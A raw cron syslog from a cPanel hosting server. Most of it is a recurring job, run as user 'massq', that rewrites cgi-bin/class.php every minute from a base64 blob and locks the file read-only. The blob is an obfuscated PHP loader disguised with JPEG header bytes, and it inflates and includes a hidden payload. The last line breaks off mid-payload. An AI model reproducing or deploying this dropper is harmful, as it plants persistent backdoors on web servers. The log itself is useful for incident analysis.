Sep  6 20:59:01 server CROND[16377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:59:01 server CROND[16378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:59:01 server CROND[16379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:00:02 server CROND[16760]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:00:02 server CROND[16762]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:00:02 server CROND[16763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:00:02 server CROND[16761]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:00:02 server CROND[16769]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:00:02 server CROND[16772]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 21:00:02 server CROND[16776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:00:02 server CROND[16773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:00:02 server CROND[16770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:01:01 server CROND[17591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:01:01 server CROND[17592]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 21:01:01 server CROND[17594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:01:01 server CROND[17593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:01:01 server run-parts(/etc/cron.hourly)[17592]: starting 0anacron
Sep  6 21:01:01 server run-parts(/etc/cron.hourly)[17612]: finished 0anacron
Sep  6 21:02:01 server CROND[17970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:02:01 server CROND[17971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:02:01 server CROND[17973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:03:01 server CROND[18347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:03:01 server CROND[18349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:03:01 server CROND[18348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:04:01 server CROND[18816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:04:01 server CROND[18815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:04:01 server CROND[18817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:05:01 server CROND[19189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:05:01 server CROND[19191]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:05:01 server CROND[19196]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 21:05:01 server CROND[19195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:05:01 server CROND[19198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:05:01 server CROND[19199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:05:01 server CROND[19197]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:05:01 server CROND[19194]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:06:01 server CROND[20015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:06:01 server CROND[20017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:06:01 server CROND[20016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:07:01 server CROND[20396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:07:01 server CROND[20395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:07:01 server CROND[20397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:08:01 server CROND[20771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:08:01 server CROND[20772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:08:01 server CROND[20773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:09:02 server CROND[21237]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 21:09:02 server CROND[21238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:09:02 server CROND[21241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:09:02 server CROND[21242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:10:01 server CROND[21612]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:10:01 server CROND[21613]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:10:01 server CROND[21615]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:10:01 server CROND[21619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:10:01 server CROND[21623]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:10:01 server CROND[21625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:10:01 server CROND[21629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLd